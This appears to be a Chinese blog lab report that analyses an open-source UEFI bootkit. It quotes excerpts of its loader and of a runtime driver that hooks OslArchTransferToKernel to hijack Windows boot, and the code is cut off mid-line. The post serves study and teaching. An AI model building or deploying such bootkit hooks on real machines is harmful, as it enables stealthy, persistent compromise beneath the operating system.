UEFIBootkit攻击恶意代码分析

本文详细介绍了UEFIBootkit攻击的原理和实验过程,包括恶意代码的调试与编译,以及如何实现对操作系统引导文件的感染。通过分析LocateFile、ImageLoad和ImageStart等关键函数,理解Bootkit攻击技术。此外,还提到了CPU漏洞SWAPGS,分析了其攻击原理和影响,以及如何寻找和利用易受攻击的内核模块。
摘要由CSDN通过智能技术生成

UEFIBootkit攻击恶意代码分析

一、 实验目的

对于UEFI的攻击,从感染方式和攻击层次上来讲,可以分为两种:一种是针对UEFI固件的攻击,一种是磁盘上引导文件的攻击。本次实验着重介绍第二种。调试和编译指定UEFIBootkit恶意程序,加深对Bootkit攻击技术的理解,掌握对操作系统引导文件感染的方法,实现引导完整性攻击,丰富UEFI固件攻击方式。

二、 实验环境

Windows10
Vs2015 P

三、 实验要求

(1)调试和编译开源UEFIBootkit代码,实现引导劫持攻击。

(2)阅读和分析UEFIBootkit代码,深入理解UEFIBootkit攻击技术原理。

四、 实验步骤

1.源码分析
项目结果组成:

下面对核心代码进行解释:
//
// Locate the runtime driver
//
efiStatus = LocateFile( gRuntimeDriverImagePath, &RuntimeDriverDevicePath );
if (EFI_ERROR( efiStatus ))
goto Exit;
//
// Load Runtime Driver into memory
//
efiStatus = ImageLoad( ImageHandle, RuntimeDriverDevicePath, &RuntimeDriverHandle );
if (EFI_ERROR( efiStatus ))
goto Exit;
//
// Transfer executon to the Runtime Driver
//
efiStatus = ImageStart( RuntimeDriverHandle );
if (EFI_ERROR( efiStatus ))
goto Exit;
其代码流程非常简单,通过LocateFile函数遍历所有分区,查找rtdriver.efi,找不到就直接退出,然后通过ImageLoad函数将驱动加载至内存(不运行),最后调用函数ImageStart运行bootkit驱动,代码完成,程序退出。
其次是rtdriver的主要代码:
NtHdr = ImageNtHeader( ImageBase );
if (NtHdr != NULL)
{
EFI_STATUS EfiStatus = EFI_SUCCESS;
UINT8* Found = NULL;

	// Find right location to patch
	EfiStatus = UtilFindPattern( sigOslArchTransferToKernelCall, 0xCC, sizeof( sigOslArchTransferToKernelCall ), ImageBase, ImageSize, (VOID**)&Found );
	if (EfiStatus == EFI_SUCCESS)
	{
		Print( L"Found OslArchTransferToKernel call at %lx\r\n", Found );
		
		// Get original from call instruction
		oOslArchTransferToKernel = (tOslArchTransferToKernel)UtilCallAddress( Found );
		Print( L"OslArchTransferToKernel at %lx\r\n", oOslArchTransferToKernel );
		Print( L"OslArchTransferToKernelHook at %lx\r\n", &hkOslArchTransferToKernel );
		
		// Backup original function bytes before patching
		OslArchTransferToKernelCa
  • 22
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值